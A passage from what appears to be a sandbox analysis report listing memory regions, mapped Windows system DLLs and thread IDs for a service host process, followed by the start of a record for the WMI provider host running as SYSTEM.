"private_0x0000000003ec0000" filename = "" Region: id = 2927 start_va = 0x3fc0000 end_va = 0x403ffff entry_point = 0x0 region_type = private name = "private_0x0000000003fc0000" filename = "" Region: id = 2928 start_va = 0x4070000 end_va = 0x40effff entry_point = 0x0 region_type = private name = "private_0x0000000004070000" filename = "" Region: id = 2929 start_va = 0x40f0000 end_va = 0x416ffff entry_point = 0x0 region_type = private name = "private_0x00000000040f0000" filename = "" Region: id = 2930 start_va = 0x4180000 end_va = 0x41fffff entry_point = 0x0 region_type = private name = "private_0x0000000004180000" filename = "" Region: id = 2931 start_va = 0x4280000 end_va = 0x42fffff entry_point = 0x0 region_type = private name = "private_0x0000000004280000" filename = "" Region: id = 2932 start_va = 0x4390000 end_va = 0x440ffff entry_point = 0x0 region_type = private name = "private_0x0000000004390000" filename = "" Region: id = 2933 start_va = 0x75940000 end_va = 0x75942fff entry_point = 0x75940000 region_type = mapped_file name = "winmgmtr.dll" filename = "\\Windows\\System32\\wbem\\WinMgmtR.dll" (normalized: "c:\\windows\\system32\\wbem\\winmgmtr.dll") Region: id = 2934 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2935 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2936 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2937 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2938 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2939 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2940 start_va = 0xffc20000 end_va = 0xffc2afff entry_point = 0xffc20000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 2941 start_va = 0xfffb0000 end_va = 0x100002fff entry_point = 0xfffb0000 region_type = mapped_file name = "services.exe" filename = "\\Windows\\System32\\services.exe" (normalized: "c:\\windows\\system32\\services.exe") Region: id = 2942 start_va = 0x7fee00e0000 end_va = 0x7fee018dfff entry_point = 0x7fee00e0000 region_type = mapped_file name = "wuapi.dll" filename = "\\Windows\\System32\\wuapi.dll" (normalized: "c:\\windows\\system32\\wuapi.dll") Region: id = 2943 start_va = 0x7fee0190000 end_va = 0x7fee02b4fff entry_point = 0x7fee0190000 region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\System32\\dbghelp.dll" (normalized: "c:\\windows\\system32\\dbghelp.dll") Region: id = 2944 start_va = 0x7fee1b40000 end_va = 0x7fee1b5bfff entry_point = 0x7fee1b40000 region_type = mapped_file name = "wscsvc.dll" filename = "\\Windows\\System32\\wscsvc.dll" (normalized: "c:\\windows\\system32\\wscsvc.dll") Region: id = 2945 start_va = 0x7fef5e10000 end_va = 0x7fef5e23fff entry_point = 0x7fef5e10000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 2946 start_va = 0x7fef6370000 end_va = 0x7fef6396fff entry_point = 0x7fef6370000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 2947 start_va = 0x7fef63a0000 end_va = 0x7fef6481fff entry_point = 0x7fef63a0000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 2948 start_va = 0x7fef7de0000 end_va = 0x7fef7dfafff entry_point = 0x7fef7de0000 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 2949 start_va = 0x7fef8240000 end_va = 0x7fef828efff entry_point = 0x7fef8240000 region_type = mapped_file name = "audioses.dll" filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll") Region: id = 2950 start_va = 0x7fef9660000 end_va = 0x7fef9677fff entry_point = 0x7fef9660000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 2951 start_va = 0x7fef9680000 end_va = 0x7fef9690fff entry_point = 0x7fef9680000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 2952 start_va = 0x7fef9740000 end_va = 0x7fef977afff entry_point = 0x7fef9740000 region_type = mapped_file name = "dhcpcore6.dll" filename = "\\Windows\\System32\\dhcpcore6.dll" (normalized: "c:\\windows\\system32\\dhcpcore6.dll") Region: id = 2953 start_va = 0x7fef9780000 end_va = 0x7fef97d0fff entry_point = 0x7fef9780000 region_type = mapped_file name = "dhcpcore.dll" filename = "\\Windows\\System32\\dhcpcore.dll" (normalized: "c:\\windows\\system32\\dhcpcore.dll") Region: id = 2954 start_va = 0x7fef97f0000 end_va = 0x7fef97f7fff entry_point = 0x7fef97f0000 region_type = mapped_file name = "nrpsrv.dll" filename = "\\Windows\\System32\\nrpsrv.dll" (normalized: "c:\\windows\\system32\\nrpsrv.dll") Region: id = 2955 start_va = 0x7fef9800000 end_va = 0x7fef9809fff entry_point = 0x7fef9800000 region_type = mapped_file name = "lmhsvc.dll" filename = "\\Windows\\System32\\lmhsvc.dll" (normalized: "c:\\windows\\system32\\lmhsvc.dll") Region: id = 2956 start_va = 0x7fefb670000 end_va = 0x7fefb67afff entry_point = 0x7fefb670000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2957 start_va = 0x7fefb680000 end_va = 0x7fefb6a6fff entry_point = 0x7fefb680000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2958 start_va = 0x7fefbb50000 end_va = 0x7fefbb58fff entry_point = 0x7fefbb50000 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 2959 start_va = 0x7fefbb60000 end_va = 0x7fefbc0bfff entry_point = 0x7fefbb60000 region_type = mapped_file name = "audiosrv.dll" filename = "\\Windows\\System32\\audiosrv.dll" (normalized: "c:\\windows\\system32\\audiosrv.dll") Region: id = 2960 start_va = 0x7fefbcd0000 end_va = 0x7fefbd55fff entry_point = 0x7fefbcd0000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 2961 start_va = 0x7fefbd80000 end_va = 0x7fefbd94fff entry_point = 0x7fefbd80000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2962 start_va = 0x7fefbda0000 end_va = 0x7fefbdabfff entry_point = 0x7fefbda0000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2963 start_va = 0x7fefbf00000 end_va = 0x7fefbf0efff entry_point = 0x7fefbf00000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 2964 start_va = 0x7fefc0a0000 end_va = 0x7fefc0eafff entry_point = 0x7fefc0a0000 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 2965 start_va = 0x7fefc510000 end_va = 0x7fefc63bfff entry_point = 0x7fefc510000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 2966 start_va = 0x7fefcb80000 end_va = 0x7fefcbabfff entry_point = 0x7fefcb80000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 2967 start_va = 0x7fefcbb0000 end_va = 0x7fefcd45fff entry_point = 0x7fefcbb0000 region_type = mapped_file name = "wevtsvc.dll" filename = "\\Windows\\System32\\wevtsvc.dll" (normalized: "c:\\windows\\system32\\wevtsvc.dll") Region: id = 2968 start_va = 0x7fefcd50000 end_va = 0x7fefcd5bfff entry_point = 0x7fefcd50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2969 start_va = 0x7fefcd60000 end_va = 0x7fefce1afff entry_point = 0x7fefcd60000 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 2970 start_va = 0x7fefce20000 end_va = 0x7fefce26fff entry_point = 0x7fefce20000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 2971 start_va = 0x7fefcf10000 end_va = 0x7fefcf2afff entry_point = 0x7fefcf10000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 2972 start_va = 0x7fefcf30000 end_va = 0x7fefcf4dfff entry_point = 0x7fefcf30000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2973 start_va = 0x7fefd080000 end_va = 0x7fefd089fff entry_point = 0x7fefd080000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2974 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2975 start_va = 0x7fefd2a0000 end_va = 0x7fefd2fafff entry_point = 0x7fefd2a0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2976 start_va = 0x7fefd410000 end_va = 0x7fefd416fff entry_point = 0x7fefd410000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 2977 start_va = 0x7fefd420000 end_va = 0x7fefd474fff entry_point = 0x7fefd420000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 2978 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2979 start_va = 0x7fefd6b0000 end_va = 0x7fefd71cfff entry_point = 0x7fefd6b0000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 2980 start_va = 0x7fefda20000 end_va = 0x7fefda2afff entry_point = 0x7fefda20000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2981 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2982 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2983 start_va = 0x7fefdb30000 end_va = 0x7fefdb6cfff entry_point = 0x7fefdb30000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 2984 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2985 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2986 start_va = 0x7fefdc30000 end_va = 0x7fefdc3efff entry_point = 0x7fefdc30000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2987 start_va = 0x7fefdce0000 end_va = 0x7fefdd15fff entry_point = 0x7fefdce0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2988 start_va = 0x7fefdd20000 end_va = 0x7fefdd59fff entry_point = 0x7fefdd20000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 2989 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2990 start_va = 0x7fefddd0000 end_va = 0x7fefdde9fff entry_point = 0x7fefddd0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 2991 start_va = 0x7fefddf0000 end_va = 0x7fefdf56fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 2992 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2993 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2994 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2995 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2996 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2997 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2998 start_va = 0x7feff2f0000 end_va = 0x7feff4c6fff entry_point = 0x7feff2f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 2999 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3000 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3001 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3002 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3003 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3004 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3005 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3006 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3007 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3008 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3009 start_va = 0x7fffff6a000 end_va = 0x7fffff6bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff6a000" filename = "" Region: id = 3010 start_va = 0x7fffff6c000 end_va = 0x7fffff6dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff6c000" filename = "" Region: id = 3011 start_va = 0x7fffff6e000 end_va = 0x7fffff6ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff6e000" filename = "" Region: id = 3012 start_va = 0x7fffff70000 end_va = 0x7fffff71fff entry_point = 0x0 region_type = private name = "private_0x000007fffff70000" filename = "" Region: id = 3013 start_va = 0x7fffff72000 end_va = 0x7fffff73fff entry_point = 0x0 region_type = private name = "private_0x000007fffff72000" filename = "" Region: id = 3014 start_va = 0x7fffff74000 end_va = 0x7fffff75fff entry_point = 0x0 region_type = private name = "private_0x000007fffff74000" filename = "" Region: id = 3015 start_va = 0x7fffff76000 end_va = 0x7fffff77fff entry_point = 0x0 region_type = private name = "private_0x000007fffff76000" filename = "" Region: id = 3016 start_va = 0x7fffff78000 end_va = 0x7fffff79fff entry_point = 0x0 region_type = private name = "private_0x000007fffff78000" filename = "" Region: id = 3017 start_va = 0x7fffff7a000 end_va = 0x7fffff7bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff7a000" filename = "" Region: id = 3018 start_va = 0x7fffff7c000 end_va = 0x7fffff7dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff7c000" filename = "" Region: id = 3019 start_va = 0x7fffff7e000 end_va = 0x7fffff7ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff7e000" filename = "" Region: id = 3020 start_va = 0x7fffff80000 end_va = 0x7fffff81fff entry_point = 0x0 region_type = private name = "private_0x000007fffff80000" filename = "" Region: id = 3021 start_va = 0x7fffff82000 end_va = 0x7fffff83fff entry_point = 0x0 region_type = private name = "private_0x000007fffff82000" filename = "" Region: id = 3022 start_va = 0x7fffff84000 end_va = 0x7fffff85fff entry_point = 0x0 region_type = private name = "private_0x000007fffff84000" filename = "" Region: id = 3023 start_va = 0x7fffff86000 end_va = 0x7fffff87fff entry_point = 0x0 region_type = private name = "private_0x000007fffff86000" filename = "" Region: id = 3024 start_va = 0x7fffff88000 end_va = 0x7fffff89fff entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 3025 start_va = 0x7fffff8a000 end_va = 0x7fffff8bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8a000" filename = "" Region: id = 3026 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 3027 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 3028 start_va = 0x7fffff90000 end_va = 0x7fffff91fff entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 3029 start_va = 0x7fffff92000 end_va = 0x7fffff93fff entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 3030 start_va = 0x7fffff94000 end_va = 0x7fffff95fff entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 3031 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 3032 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 3033 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 3034 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 3035 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 3036 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 3037 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 3038 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 3039 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 3040 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 3041 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 3042 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 3043 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3044 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 3045 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 3046 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 3047 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 3048 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 3049 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 3050 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Thread: id = 259 os_tid = 0xb00 Thread: id = 260 os_tid = 0xb30 Thread: id = 261 os_tid = 0x248 Thread: id = 262 os_tid = 0xa68 Thread: id = 263 os_tid = 0x7ec Thread: id = 264 os_tid = 0xad4 Thread: id = 265 os_tid = 0x7c0 Thread: id = 266 os_tid = 0xa6c Thread: id = 267 os_tid = 0x9ac Thread: id = 268 os_tid = 0x140 Thread: id = 269 os_tid = 0xa94 Thread: id = 270 os_tid = 0x550 Thread: id = 271 os_tid = 0x7fc Thread: id = 272 os_tid = 0x6c0 Thread: id = 273 os_tid = 0x20c Thread: id = 274 os_tid = 0x7f8 Thread: id = 275 os_tid = 0xad8 Thread: id = 276 os_tid = 0xac4 Thread: id = 277 os_tid = 0xb04 Thread: id = 278 os_tid = 0xadc Thread: id = 279 os_tid = 0xa08 Thread: id = 280 os_tid = 0x9f4 Thread: id = 281 os_tid = 0x9b4 Thread: id = 282 os_tid = 0x994 Thread: id = 283 os_tid = 0x8e8 Thread: id = 284 os_tid = 0x7b8 Thread: id = 285 os_tid = 0x500 Thread: id = 286 os_tid = 0x618 Thread: id = 287 os_tid = 0x614 Thread: id = 288 os_tid = 0x610 Thread: id = 289 os_tid = 0x5d4 Thread: id = 290 os_tid = 0x448 Thread: id = 291 os_tid = 0x438 Thread: id = 292 os_tid = 0x3bc Thread: id = 293 os_tid = 0x3b4 Thread: id = 294 os_tid = 0x3a4 Thread: id = 295 os_tid = 0x304 Thread: id = 296 os_tid = 0x300 Thread: id = 297 os_tid = 0x2d8 Thread: id = 298 os_tid = 0x2d0 Thread: id = 314 os_tid = 0x35c Thread: id = 318 os_tid = 0x7c0 Process: id = "26" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x65a74000" os_pid = "0x244" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x36c" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d435" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 3074 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3075 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3076 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3077 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3078 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3079 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3080 start_va 